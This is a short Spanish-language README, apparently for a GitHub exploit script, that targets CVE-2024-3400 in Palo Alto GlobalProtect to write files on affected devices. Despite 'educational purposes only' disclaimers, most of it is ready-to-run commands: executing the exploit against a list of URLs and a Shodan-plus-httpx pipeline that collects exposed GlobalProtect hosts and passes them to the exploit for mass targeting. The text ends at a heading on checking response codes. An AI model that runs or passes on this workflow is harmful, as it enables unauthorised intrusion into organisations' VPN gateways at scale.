ak1t4/cve-2024-3400Global Protec Palo Alto Exploit de Escritura de Archivos
CVE-2024-3400 Palo Alto Exploit de Escritura de Archivos
Este exploit busca en instancias de URLs de Global Protect e intenta escribir archivos usando CVE-2024-3400
[ Usar con precaución ]
[ Hecho solo con fines educativos ]
Uso:
chmod +x gp-exploit.sh
./gp-exploit.sh file_name_to_write urls.txt
Búsqueda en Shodan y filtrado de URLs:
# shodan search --fields ip_str,port 'http.html:"Global Protect"' --separator ":" | sed 's/.$//' > gp.hosts
# httpx -l gp.hosts
# ./gp-exploit file_name gp.hosts
Verificación de códigos de estado de respuesta:
